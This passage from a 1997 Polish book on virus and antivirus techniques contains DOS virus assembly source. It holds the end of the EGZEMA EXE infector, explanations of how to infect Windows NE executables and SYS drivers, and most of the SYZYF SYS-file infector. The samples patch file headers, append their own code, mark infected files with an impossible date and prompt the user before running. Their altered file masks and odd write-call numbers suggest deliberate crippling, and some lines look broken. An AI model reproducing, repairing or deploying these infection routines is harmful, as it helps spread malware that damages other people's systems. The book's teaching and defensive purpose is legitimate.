    add   dx,100h+VirusDlug                ; stos bedzie za wirusem
    and   dl,11111110b                     ; SP - najczesciej jest parzysty
    mov   word ptr [si][Naglowek+10h],dx   ; zachowaj nowe SP
    mov   word ptr [si][Naglowek+0Eh],ax   ; zachowaj nowe SS

background image

    mov   ax,word ptr [si][Naglowek+02h]   ; \
    add   ax,VirusDlug                     ;  \
    cwd                                    ;   \
    mov   cx,512                           ;    \
    div   cx                               ;     \
    add   word ptr [si][Naglowek+04h],ax   ;      - zmien dlugosc obrazu
    mov   word ptr [si][Naglowek+02h],dx   ;     /  w naglowku pliku EXE
    or    dx,dx                            ;    /
    jz    NieDodawaj                       ;   /
    inc   word ptr [si][Naglowek+04h]      ;  /
NieDodawaj:                                ; /

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem konca pliku
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na koniec pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,VirusDlug                     ; ilosc zapisywanych bajtow
    mov   dx,si                            ; podaj skad zapisac wirusa
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem poczatku pliku
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na poczatek pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,26                            ; ilosc zapisywanych bajtow
    lea   dx,[si][Naglowek]                ; podaj skad zapisac nowy naglowek
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas
    int   21h                              ; wywolaj funkcje DOS

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik

background image

    int   21h                              ; wywolaj funkcje DOS

PrzywrocAtrybut:
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut
    mov   ch,0                             ; CX=CL
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h

SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego
                                           ; pliku EXE
    int   21h                              ; wywolaj funkcje DOS
    jnc   KolejnyPlik                      ; gdy CF=1, to blad

BezInfekcji:
    push  es                               ; \ es=ds=PSP
    pop   ds                               ; /

    mov   dx,80h                           ; przywroc pierwotne DTA=PSP:80h
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

    pop   ax                               ; \ zdejmij ze stosu wartosci
    pop   dx                               ; / SS i SP nosiciela
    mov   ss,dx                            ; \ i umiesc te wartosci w
    mov   sp,ax                            ; / SS i SP

    db 0EAh                                ; powroc do nosiciela
    SkokIP dw ?                            ; \ czesc skoku JMP FAR
    SkokCS dw ?                            ; /

MaskaEXE   db '*.EGZE'                     ; maska plikow EXE (ASCIIZ)
Naglowek   db 26 dup(?)                    ; bufor zawiera zapamietane bajty
                                           ; z poczatku programu
                                           ; tu : kod rozkazu int 20h/NOP
; Czesc Informayjna
Informacja:
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$
    int   21h                              ; wywolaj funkcje DOS

    mov   ah,01h                           ; funkcja DOS - czytaj znak
                                           ; ze standardowego wejscia
    int   21h                              ; wywolaj funkcje DOS
                                           ; AL zawiera znak
    push  ax                               ; zapamietaj na chwile znak

background image

    mov   ax,0E0Dh                         ; \  przejdz
    int   10h                              ;  \ do
    mov   ax,0E0Ah                         ;  / nastepnej
    int   10h                              ; /  linii

    pop   ax                               ; przywroc znak

    and   al,11011111b                     ; konwertuj znak na wielka litere
    cmp   al,'T'                           ; czy potwierdzona infekcja ?
    clc                                    ; ustaw flage na TAK
    je    CLCRet                           ; TAK i powrot
    stc                                    ; ustaw flage na NIE i powrot
CLCRet:
    ret                                    ; powrot

TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
             db CR,LF
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
             db DOLAR

             StaryCS dw 0
             StaryIP dw offset Nosiciel
             StarySS dw 0
             StarySP dw offset Nosiciel+100h

VirusEnd:
NoweDTA   DTAStruc <?,?,?,?,?,?>
Nosiciel:
          mov  ax,4C00h
          int  21h
EGZEMA ENDS
END VirusStart

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)

Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę 
niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik 
działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie 
komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę 
uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod 
kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu 
chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu 
STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma 
systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany 
byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a 
pełniłby tu rolę programu STUB.

background image

Po programie STUB znajduje się właściwy program przeznaczony dla trybu 
chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany 
nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich 
programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. 
Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych 
różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, 
a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi 
uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: 
podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie 
używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na 
oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, 
zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu 
chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi 
stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy 
OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych 
informacji o tych systemach).
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy 
na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa 
pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego 
systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, 
należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 
40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego 
EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o 
systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w 
poniższej tabeli.

Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik

Docelowy system

NE

Windows lub OS/2 1.x, z podziałem na segmenty

LE

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear 
Executable)

LX

Wariant LE, używany przez OS/2 2.x

W3

Plik WIN386.EXE dla Windows; kolekcja plików LE

PE

Windows NT lub Win32s (Portable Executable)

DL

HP 100LX/200LX (Pliki *.EXM)

MP

Stare pliki PharLap (pliki *.EXP)

P2

PharLap 286 (pliki *.EXP)

P3

PharLap 386 (pliki *.EXP)

4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na 
odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów 
zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w 
pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy 
segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu 
programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się 

background image

zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w 
tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.

Format nagłówka plików nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

znacznik pliku, bajty 'NE'

02-03

numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej 
znacząca część)

04-05

offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest 
następujący 00 liczba wejść (00, jeżeli koniec listy)
   01 numer segmentu (00, jeżeli koniec listy)
   02 pierwszy rekord 
   05 drugi rekord
.........
Każdy rekord ma format 
00   flagi:
       bit 0: EXPORTED
       bit 1: SINGLE DATA
       bity 2-7: nie używane 
01-02 ofset w segmencie 

06-07

długość (w bajtach) tablicy wejść

08-0B

kod korekcyjny (CRC) pliku

0C

flagi programu; znaczenie poszczególnych bitów
0-1 DGROUP 
   0 = nie ma
   1 = SINGLE SHARED
   2 = MULTIPLE (UNSHARED)
   3 = (NULL)
2 bit globalnej inicjalizacji
3 program tylko dla trybu chronionego
4 program zawiera instrukcje 8086
5 program zawiera instrukcje 80286
6 program zawiera instrukcje 80386
7 program zawiera instrukcje 80x87

0D

flagi aplikacji; znaczenie poszczególnych bitów:
0-2 typ aplikacji
   001 pełnoekranowa (bez Windows AP! dla trybu chronionego)
   010 kompatybilna z Windows API dla trybu chronionego
   011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla 
OS/2
5 0=wykonywalna, 1=błędy w obrazie pliku
6 niezgodny typ programu (stos nie jest zachowywany)
7 plik DLL lub sterownik
(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, 
wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 
poprawna inicjalizacja)

background image

0E-0F indeks do segmentu danych typu AUTODATA 10-11     inicjalny rozmiar sterty 

lokalnej

12-13

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS

14-17

wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów

18-1B

daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy 
segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu 
ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną

1C-1D ilość segmentów 1 E-1 F    ilość odwołań do modułów
20-21

długość (w bajtach) nierezydentnej tablicy nazw

22-23

offset względem początku nagłówka do tablicy segmentów, składającej się z 
rekordów o formacie (pierwszy rekord ma numer 1):
00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3
nagłówka, aby uzyskać adres w bajtach) 
02-03 długość obrazu pliku (0000h=64K) 
04-05 atrybuty segmentu 
   0 segment danych
   1 nie używane
   2 REALMODE
   3 ITERATED
   4 MOVABLE
   5 SHARABLE
   6 PRELOADED
   7 EXECUTE-CODE (kod) lub READ-ONLY (dane)
   8 relokacje (bezpośrednio po kodzie w segmencie)
   9 istnieją informacje dla debuggera 
   10,11 bity DPL dla 80286 
   12 DISCARDABLE 
   13-15 DISCARD PRIORITY 
06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K)

24-25

offset względem początku nagłówka do tablicy zasobów

26-27

offset względem początku nagłówka do tablicy nazw rezydentnych

28-29

offset względem początku nagłówka do tablicy odwołań do modułów

2A-2B offset względem początku nagłówka do tablicy nazw importowanych (tablica 

łańcuchów typu string, zakończona łańcuchem o długości 0)

2C-2F offset względem początku nagłówka do tablicy nazw nierezydentnych 
30-31

ilość ruchomych punktów wejściowych zawartych w tablicy wejść

32-33

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) 

34-35

ilość wejść do tablic zasobów

36

docelowy system operacyjny 
00h nieznany 
01h OS/2 
02h Windows
03h Europejska wersja MS-DOS 4.x 
04h Windows 386                            
05h BOSS (Borland Operating System Services) 
81h PharLap 286IDOS-Extender, OS/2 
82h PharLap 286IDOS-Extender, Windows

background image

37

dodatkowe flagi programu
0 używa długich nazw plików
1 tryb chroniony 2.X
2 proporcjonalna czcionka 2.X
3 0=gangload: nie ma, 1=gangload: jest

38-39

offset do strefy gangload

3A-3B offset do segmentu odwołańi do strefy gangload
3C-3D minimalny rozmiar kodu wymienialnego
3E-3F spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, 

bardziej znacząca część jako druga)

 
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

ilość rekordów w tablicy relokacji

02

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 
bajtów i ma format:
00 typ rekordu
00 LOBYTE
02 BASE
03 PTR
05 OFFS
0B PTR48
0D OFFS32 01 flagi rekordu
   bit 2: addytywny 02-03 offset w segmencie 
04-05 docelowy adres segmentu 
06-07 docelowy adres offsetu

Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres

Zawartość

00-01

Wartość przesunięcia do dopasowania

02

Kolejne rekordy zasobów o formacie:
00-01 identyfikator
0000 koniec rekordów
>= 8000h typ INTEGER
w przeciwnym wypadku offset względem początku zasobów
do łańcucha
02-03 ilość zasobów danego typu 
04-07 zarezerwowane 
08 początek zasobów

Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
00-01

ofset (w dopasowanych jednostkach) do zawartości zasobów

02-03

rozmiar zasobów w bajtach

04-05

flagi zasobów

background image

bit 4: MOVEABLE
bit5:SHAREABLE
bit 6: PRELOADED     

06-07

 typ zasobów;
=8000 zasoby typu Integer

08-0B

zarezerwowane  

Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres

Zawartość

00

ilość rekordów w paczce (0=koniec tablicy)

01

znacznik segmentu:
00 nie używany FF MOVEABLE lub FIXED

02

kolejne rekordy, każdy o formacie:
00 flagi
   bit 0: wejście jest eksportowane
   bit 1: wejście używa globalnych (współużywalnych) danych
   bity 7-3: ilość stów parametrów dla segmentu FIXED
   01-02 ofset dla segmentu MOVEABLE
   01-02 INT 3F (kod instrukcji: CDh 3Fh) 
03 numer segmentu 
05-06 ofset

Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla 
Adres

Zawartość

00

długość łańcucha (00=koniec tablicy) 

01-N

łańcuch ASCII 

N+1-N+2 numer porządkowy w tablicy

Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji 
przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS 
Nagłówek programu STUB 
Kod programu STUB 
właściwy program dla Windows:
Nagłówek NE 
Tablica segmentów 
Tablice z danymi o zasobach 
Kod programu dla Windows

Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku
program STUB dla DOS 
Nagłówek programu STUB 
Zmniejszony kod programu STUB 
właściwy program dla Windows zarażony wirusem:

background image

Nagłówek NE, cofnięty względem oryginalnej pozycji
Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o 
segment wskazujący na kod wirusa (na końcu pliku)
Tablice z danymi o zasobach 
Kod programu dla Windows 
Kod wirusa

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą 
rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie 
startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 
także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje 
funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla 
uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane 
dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze 
sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość 
Nagłówek pliku SYS (patrz następna tabela) 
Kod sterownika

Format nagłówka pliku SYS
00-03

Wskaźnik do następnego programu obsługi urządzenia, standardowo == 
0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. 
Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres 
kolejnego sterownika w pliku.

04-05

Atrybuty urządzenia, informują o przeznaczeniu sterownika

06-07

Adres procedury strategii (względem początku nagłówka). Procedura strategii 
służy do odebrania pakietu zlecenia od systemu DOS.

08-09

Adres procedury przerwania (względem początku nagłówka), która na 
podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje 
odpowiednie czynności,

0A-0F Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia 

blokowego (1 bajt wykorzystany+7 bajtów rezerwowych).

Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w 
polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje 
dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku 
zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi 
natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu 
programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie 
faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, 
wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na 
koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do 
zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). 

background image

Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi 
działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi 
trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku 
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania
Kod sterownika
Kod wirusa 

Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku 
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego 
sterownika w pliku
Kod sterownika 
Nagłówek fałszywego sterownika (wirusa) 
Kod wirusa

Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki 
SYS.
;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  SYZYF v1.0, Autor : Adam Blaszczyk 1997                   ;
;                                                                            ;
;              Prosty wirus nierezydentny plikow SYS                         ;
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ;
;              znajdujace sie w biezacym katalogu                            ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM    SYZYF.ASM                                              ;
;             TLINK   SYZYF.OBJ                                              ;
;             MAKESYS SYZYF.EXE                                              ;
;                                                                            ;
;----------------------------------------------------------------------------;
SYZYF SEGMENT
JUMPS
         ASSUME CS:SYZYF, DS:SYZYF
         ORG 0000h                         ; SYS nie potrzebuje PSP

    NUL          = 00h                     ; \
    LF           = 0Ah                     ;  - stale znakow
    CR           = 0Dh                     ; /  ASCII

    AtrReadOnly  = 00000001b               ; \
    AtrHidden    = 00000010b               ;  \

background image

    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu
    AtrDirectory = 00010000b               ;  /
    AtrArchive   = 00100000b               ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
                                           ; atrybut poszukiwanej pozycji
                                           ; katalogu

VirusDlug   = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa

VRok        = 1998                         ; \  data opisujaca
VMiesiac    = 13                           ;  - pliki juz zainfekowane
VDzien      = 31                           ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc                             ; struktura DTA bufora transmisji
                                           ; dyskowych uzywanych przez
                                           ; funkcje 4E i 4F
               DTAFill db 21 dup (?)       ; nieistotna czesc
               DTAAttr db ?                ; atrybut znalezionej pozycji
               DTATime dw ?                ; czas znalezionej pozycji
               DTADate dw ?                ; data znalezionej pozycji
               DTASize dd ?                ; dlugosc znalezionej pozycji
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji
DTAStruc ends

NAGL struc
               NAGLAdres      dd ?         ; Adres nastepnego sterownika
               NAGLAtrybut    dw ?         ; atrybuty sterownika
               NAGLStrategia  dw ?         ; adres obslugi strategii
               NAGLPrzerwanie dw ?         ; adres obslugi przerwania
               NAGLNazwa      db 8 dup(?)  ; nazwa sterownika
NAGL ends

Start:
    SYSNagl NAGL 
<0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
                                           ; tu jest naglowek

VirusStart:                                ; tu zaczyna sie kod wirusa

ProceduraPrzerwania:
    push   ax                              ; \
    push   bx                              ;  \
    push   cx                              ;   \    zachowaj

background image

    push   dx                              ;    \   zmieniane
    push   si                              ;    /   rejestry
    push   di                              ;   /
    push   ds                              ;  /
    push   es                              ; /

    Call   Trik
Trik:
    pop    si
    sub    si,offset Trik

    push   cs                              ; \ DS=CS
    pop    ds                              ; /

    mov    ax,[si][StarePrzerwanie]        ; zachowaj adres do nosiciela
    mov    [si][SkokIP],ax
    mov    [si][SkokCS],cs

    lea    dx,[si][TeInformacja]           ; podaj gdzie jest tekst
    Call   Informacja                      ; spytaj o uruchomienie wirusa

    jnc   Infekcja                         ; gdy CF=1, nie uruchamiaj
    jmp   BezInfekcji                      ; NIE - nie infekuj

Infekcja:
    mov   ah,2Fh                           ; funkcja DOS - pobierz adres DTA
    int   21h                              ; wywolaj funkcje DOS
    mov   word ptr [si][DTASegOfs+2],bx    ; \ zachowaj akualny adres DTA,
    mov   word ptr [si][DTASegOfs+2],es    ; / aby mozna bylo go przywrocic

    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

    lea   dx,[si][MaskaSYS]                ; maska poszukiwanych plikow '*.SYS'
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycji
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej
                                           ; pozycji katalogu
    int   21h                              ; wywolaj funkcje DOS
    jc    NieMaPlikuSYS                    ; gdy CF=1, to blad

KolejnyPlik:
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz
                                           ; zarazony ?
    je    SzukajNastepnyPlik               ; tak = szukaj nastepny

background image

    mov   ax,word ptr [si][NoweDTA.DTASize+2]
                                           ; pobierz starsza czesc dlugosci
                                           ; pliku
    or    ax,ax                            ; czy plik krotszy niz 65536 ?
    jnz   SzukajNastepnyPlik               ; nie - szukaj nastepnego

    mov   ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
    cmp   ax,64000                         ; czy dlugosc <= 64000 ?
    ja    SzukajNastepnyPlik               ; nie - szukaj nastepnego

    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu
    mov   ax,3D02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   cx,size NAGL                     ; ilosc czytanych bajtow
    lea   dx,[si][CzytNAGL]                ; podaj dokad czytac 3 bajty
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   ax,word ptr [si][CzytNagl.NaglAdres]
                                           ; wez 4 bajty z pliku do AX i DX
    mov   dx,word ptr [si][CzytNagl.NaglAdres+2]

    cmp   ax,0FFFFh                        ; czy AX=0FFFFh ?
    jne   ZamknijPlik                      ; NIE - szukaj innego plik

    cmp   ax,dx                            ; czy AX=DX=0FFFFh ?
    jne   ZamknijPlik                      ; NIE - szukaj inny plik
                                           ; TAK - na poczatku pliku jest
                                           ; 0FFFFFFFFh

    mov   ax,word ptr [si][CzytNagl.NaglPrzerwanie]
    mov   [si][StarePrzerwanie],ax         ; wez adres przerwania

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem konca pliku

background image

    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na koniec pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   [si][CzytNAGL.NaglPrzerwanie],ax

    mov   cx,VirusDlug                     ; ilosc zapisywanych bajtow
    lea   dx,[si][VirusStart]              ; podaj skad zapisac wirusa
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    xor   cx,cx                            ; \ CX:DX zawieraja
    xor   dx,dx                            ; / adres wzgledem poczatku pliku
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na poczatek pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1 to blad

    mov   cx,size NAGL                     ; ilosc zapisywanych bajtow
    lea   dx,[si][CzytNAGL]                ; podaj skad zapisac
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas
    int   21h                              ; wywolaj funkcje DOS

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik
    int   21h                              ; wywolaj funkcje DOS

PrzywrocAtrybut:
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut
    mov   ch,0                             ; CX=CL
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h                              ; wywolaj funkcje DOS

SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego
                                           ; pliku SYS
    int   21h                              ; wywolaj funkcje DOS
    jnc   KolejnyPlik                      ; gdy CF=1, to blad

background image

NieMaPlikuSYS:
    lds   dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

BezInfekcji:

    pop    es                              ; \
    pop    ds                              ;  \
    pop    di                              ;   \    przywroc
    pop    si                              ;    \   zmieniane
    pop    dx                              ;    /   rejestry
    pop    cx                              ;   /
    pop    bx                              ;  /
    pop    ax                              ; /

    db 0EAh                                ; powrot do nosiciela
    SkokIP dw ?
    SkokCS dw ?

MaskaSYS       db '*.SIS'                  ; maska plikow SYS (ASCIIZ)

; Czesc Informayjna                        ; wyswietla pytanie do uzytkownika
Informacja:                                ; czy chce uruchomic wirusa
    push  ax si
    cld
    mov  si,dx
NastepnyZnak:
    lods  byte ptr cs:[si]                ; kolejny znak komunikatu
    or    al,al                           ; czy koniec tekstu ?
    jz    InformacjaTxtOK                 ; TAK - koniec pisania

    mov   ah,0Eh                          ; pisz znak z AL
    int   10h                             ;

    jmp   short NastepnyZnak

InformacjaTxtOK:

    mov   ah,0
    int   16h

    and   al,11011111b                     ; konwertuj znak na wielka litere
    cmp   al,'T'                           ; czy potwierdzona infekcja
    clc                                    ; ustaw flage na TAK

background image

    je    CLCRet                           ; TAK i powrot
    stc                                    ; ustaw flage na NIE i powrot
CLCRet:
    pop  si ax
    ret                                    ; powrot

TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
             db CR,LF
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
             db CR,LF,NUL
             StarePrzerwanie dw offset Nosiciel

VirusEnd:
NoweDTA        DTAStruc <?,?,?,?,?,?>
DTASegOfs      dd ?
CzytNagl       NAGL <>

ProceduraStrategii:                        ; na wejsciu ES:BX adres
                                           ; do pakietu zlecenia
    mov    word ptr cs:[AdresZlecenia],bx  ; \ pobierz adres i zachowaj
    mov    word ptr cs:[AdresZlecenia+2],es; / go na pozniej

    retf                                   ; powrot z procedury
                                           ; strategii

AdresZlecenia  dd ?

Nosiciel:
    push   ds ax bx

    lds    bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
                                           ; zlecenia

